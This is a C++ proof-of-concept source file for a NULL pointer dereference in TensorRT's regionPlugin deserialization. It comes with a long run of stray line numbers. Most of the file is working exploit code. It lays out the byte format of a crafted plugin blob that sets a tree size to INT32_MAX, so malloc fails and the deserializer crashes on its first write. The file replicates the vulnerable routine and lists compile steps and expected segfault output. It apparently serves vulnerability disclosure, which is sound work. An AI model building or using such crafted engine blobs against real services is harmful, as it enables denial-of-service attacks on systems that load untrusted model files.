File size: 7,918 Bytes
190a505
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
/*
 * TensorRT regionPlugin NULL Pointer Dereference - Proof of Concept
 *
 * Vulnerability: NULL pointer dereference in Region plugin deserialization
 * CWE-476: NULL Pointer Dereference
 * CWE-789: Uncontrolled Memory Allocation
 *
 * Affected file : plugin/regionPlugin/regionPlugin.cpp
 * Affected lines: allocateChunk template (lines 38-42), deserialization
 *                 constructor (lines 93-227), loop at lines 152-168
 *
 * Root cause:
 *   allocateChunk<T>(ptr, count) calls malloc(count * sizeof(T)) with no NULL
 *   check on the return value. When `count` is an attacker-controlled value
 *   from the serialized engine buffer (smTreeTemp->n), a crafted value of
 *   INT32_MAX causes malloc(~8.5 GB) to fail and return NULL. The subsequent
 *   loop immediately dereferences ptr[0] at address 0x0 β†’ SIGSEGV.
 *
 * Trigger path:
 *   tensorrt.Runtime.deserialize_cuda_engine(crafted_engine_bytes)
 *   β†’ RegionPluginCreator::deserializePlugin()
 *   β†’ Region::Region(buffer, length)           [regionPlugin.cpp:93]
 *   β†’ allocateChunk(smTreeTemp->leaf, INT32_MAX) [regionPlugin.cpp:121]
 *   β†’ malloc(0x1FFFFFFFC) fails β†’ leaf = NULL
 *   β†’ smTreeTemp->leaf[0] = read<int32_t>(d)   [regionPlugin.cpp:156]
 *   β†’ NULL pointer dereference β†’ SIGSEGV
 *
 * Compile (no CUDA required):
 *   g++ -std=c++17 -O0 -o poc_tensorrt poc_tensorrt.cpp
 *
 * Run:
 *   ./poc_tensorrt
 *
 * Expected output:
 *   [*] n = 2147483647 (0x7FFFFFFF)
 *   [*] malloc requested: 8589934588 bytes (8.0 GB)
 *   [*] leaf ptr after allocateChunk: 0x0  (NULL β€” malloc failed)
 *   [!] NULL pointer dereference in loop iteration 0 β€” expect SIGSEGV
 *   Segmentation fault (core dumped)
 */

#include <cstdlib>
#include <cstdint>
#include <cstring>
#include <cstdio>
#include <climits>

// ── Exact copy of allocateChunk from regionPlugin.cpp:38-42 ──────────────────
// BUG: no NULL check after malloc
template <typename T>
void allocateChunk(T*& ptr, int32_t count)
{
    ptr = static_cast<T*>(malloc(count * sizeof(T)));
    // Missing: if (ptr == nullptr) { throw / return error; }
}

// ── Deserialization read helper (identical to plugin/common) ─────────────────
template <typename T>
T read(char const*& d)
{
    T val;
    memcpy(&val, d, sizeof(T));
    d += sizeof(T);
    return val;
}

// ── softmaxTree (matches regionPlugin.h) ─────────────────────────────────────
struct softmaxTree {
    int32_t  n;
    int32_t  groups;
    int32_t* leaf;
    int32_t* parent;
    int32_t* child;
    int32_t* group;
    char**   name;
    int32_t* groupSize;
    int32_t* groupOffset;
};

// ── Build the malicious serialization buffer ──────────────────────────────────
//
// Binary layout mirrors Region::serialize() at regionPlugin.cpp:301-363:
//
//   Offset  Size  Field
//   0       4     C        (int32_t)
//   4       4     H        (int32_t)
//   8       4     W        (int32_t)
//   12      4     num      (int32_t)
//   16      4     classes  (int32_t)
//   20      4     coords   (int32_t)
//   24      1     softmaxTreePresent  (bool) ← set TRUE
//   25      1     leafPresent         (bool) ← set TRUE β†’ triggers allocateChunk(leaf, n)
//   26      1     parentPresent       (bool)
//   27      1     childPresent        (bool)
//   28      1     groupPresent        (bool)
//   29      1     namePresent         (bool)
//   30      1     groupSizePresent    (bool)
//   31      1     groupOffsetPresent  (bool)
//   32      4     n = INT32_MAX       (int32_t) ← MALICIOUS VALUE
//
static size_t build_malicious_buffer(char* buf)
{
    char* d = buf;

    auto w32 = [&](int32_t v) { memcpy(d, &v, 4); d += 4; };
    auto wb  = [&](bool v)    { *d++ = v ? 1 : 0; };

    w32(1); w32(1); w32(1);   // C, H, W
    w32(1); w32(1); w32(1);   // num, classes, coords

    wb(true);   // softmaxTreePresent  β€” enters tree branch
    wb(true);   // leafPresent         β€” triggers allocateChunk(leaf, n) and loop write
    wb(false);  // parentPresent
    wb(false);  // childPresent
    wb(false);  // groupPresent
    wb(false);  // namePresent
    wb(false);  // groupSizePresent
    wb(false);  // groupOffsetPresent

    w32(INT32_MAX);  // n = 2,147,483,647 β†’ malloc(8.5 GB) β†’ fails β†’ NULL

    return (size_t)(d - buf);
}

// ── Replicate Region::Region(buffer, length) β€” regionPlugin.cpp:93-227 ───────
static void trigger_deserialize(char const* buffer, size_t length)
{
    char const* d = buffer;

    /* C        = */ read<int32_t>(d);
    /* H        = */ read<int32_t>(d);
    /* W        = */ read<int32_t>(d);
    /* num      = */ read<int32_t>(d);
    /* classes  = */ read<int32_t>(d);
    /* coords   = */ read<int32_t>(d);

    bool softmaxTreePresent = read<bool>(d);
    bool leafPresent        = read<bool>(d);
    bool parentPresent      = read<bool>(d);
    bool childPresent       = read<bool>(d);
    bool groupPresent       = read<bool>(d);
    /* namePresent        = */ read<bool>(d);
    /* groupSizePresent   = */ read<bool>(d);
    /* groupOffsetPresent = */ read<bool>(d);

    if (softmaxTreePresent)
    {
        softmaxTree* smTreeTemp;
        allocateChunk(smTreeTemp, 1);          // allocates 1 struct β€” succeeds

        smTreeTemp->n = read<int32_t>(d);      // n = INT32_MAX (attacker-controlled)

        printf("[*] n = %d (0x%08X)\n",
               smTreeTemp->n, (uint32_t)smTreeTemp->n);
        printf("[*] malloc requested: %zu bytes (%.1f GB)\n",
               (size_t)smTreeTemp->n * sizeof(int32_t),
               (double)((size_t)smTreeTemp->n * sizeof(int32_t)) / (1 << 30));

        if (leafPresent)
        {
            // regionPlugin.cpp:121 β€” THE VULNERABLE CALL
            allocateChunk(smTreeTemp->leaf, smTreeTemp->n);
            printf("[*] leaf ptr after allocateChunk: %p\n", (void*)smTreeTemp->leaf);

            if (smTreeTemp->leaf == nullptr)
                printf("[!] malloc FAILED β€” leaf is NULL\n"
                       "[!] Entering loop β€” crash on first iteration...\n\n");
        }
        else smTreeTemp->leaf = nullptr;

        if (parentPresent)
            allocateChunk(smTreeTemp->parent, smTreeTemp->n);
        else smTreeTemp->parent = nullptr;

        if (childPresent)
            allocateChunk(smTreeTemp->child, smTreeTemp->n);
        else smTreeTemp->child = nullptr;

        if (groupPresent)
            allocateChunk(smTreeTemp->group, smTreeTemp->n);
        else smTreeTemp->group = nullptr;

        // regionPlugin.cpp:152-168 β€” CRASH HERE (i=0, leaf=NULL)
        for (int32_t i = 0; i < smTreeTemp->n; i++)
        {
            if (leafPresent)
                smTreeTemp->leaf[i] = read<int32_t>(d);   // NULL DEREF β†’ SIGSEGV
            if (parentPresent)
                smTreeTemp->parent[i] = read<int32_t>(d);
            if (childPresent)
                smTreeTemp->child[i] = read<int32_t>(d);
            if (groupPresent)
                smTreeTemp->group[i] = read<int32_t>(d);
        }
    }
}

int main()
{
    setvbuf(stdout, nullptr, _IONBF, 0);   // unbuffered β€” survives crash

    printf("============================================================\n");
    printf(" TensorRT regionPlugin NULL Pointer Dereference PoC\n");
    printf(" CWE-476 | CWE-789 | plugin/regionPlugin/regionPlugin.cpp\n");
    printf("============================================================\n\n");

    char buffer[64] = {};
    size_t len = build_malicious_buffer(buffer);
    printf("[*] Crafted plugin blob: %zu bytes\n\n", len);

    trigger_deserialize(buffer, len);

    // Should never reach here
    printf("\n[-] ERROR: should have crashed β€” SIGSEGV not triggered\n");
    return 1;
}